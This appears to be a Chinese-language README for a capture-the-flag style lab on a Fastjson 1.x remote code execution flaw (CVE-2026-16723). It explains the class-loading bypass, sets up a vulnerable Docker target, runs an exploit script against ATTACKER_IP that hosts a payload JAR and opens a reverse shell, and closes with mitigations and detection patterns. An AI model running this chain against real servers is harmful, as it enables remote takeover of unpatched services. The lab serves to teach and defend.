
针对 Fastjson RCE(CVE-2026-16723)的 PoC 漏洞利用,可通过构造的 JSON 自动生成并投递 JAR 载荷,绕过 AutoType 限制。
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 是 Fastjson 1.x(1.2.68 – 1.2.83)中的一个 远程代码执行(RCE) 漏洞。 当 Fastjson 解析攻击者控制的 JSON 时,精心构造的
@type值会在checkAutoType内部被转换为类资源查找。在 Spring Boot 可执行 fat-JAR 中,类加载器将该名称解析为jar:http://URL 并获取远程 JAR(SSRF),随后即使 AutoType 被禁用,也会加载带有@JSONType注解的类。 由于现代 JDK / Tomcat 会拒绝jar:http://二进制名称,可靠的变体将 JAR 植入 JVM 缓存,并通过jar:file:/proc/self/fd/N重新读取,从而定义类并运行其静态初始化器,实现代码执行。 AutoType 保持禁用,且无需任何 classpath gadget。
| 分类 | 版本 |
|---|---|
| 受影响 | Fastjson 1.2.68 ≤ 版本 ≤ 1.2.83 |
| 已修复 | 迁移到 Fastjson 2.x(无 1.x 修复版本) |
实验室目标是一个公开商店前端(Northwind Store),其搜索 API 使用 Fastjson 绑定
请求体。所有配置均为 Fastjson 的默认设置:
SafeMode 关闭、AutoType 关闭,并以 Spring Boot fat-JAR 形式打包。
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| 前置条件 | 本实验室状态 |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot 可执行 fat-JAR | 是 |
| 未认证的 JSON 解析路径 | POST /api/products/search |
| SafeMode / AutoType | 默认(均关闭) |
攻击者和目标运行在同一 Docker 桥接网络上,因此目标以出站连接方式访问攻击者(无需发布额外端口)。
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py 构建有效载荷 JAR、托管该 JAR、启动监听器,并打印请求体。仅需要回调地址。
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
将打印出的请求体粘贴到搜索端点(Burp Repeater 或 curl)并发送。该搜索请求是正常功能;仅其 JSON 请求体是精心构造的。
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
代码以服务账户身份运行。通过获得的 shell 获取 flag:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true 启动 JVM@type 值中包含 jar:http 或 jar:file / /proc/self/fd 模式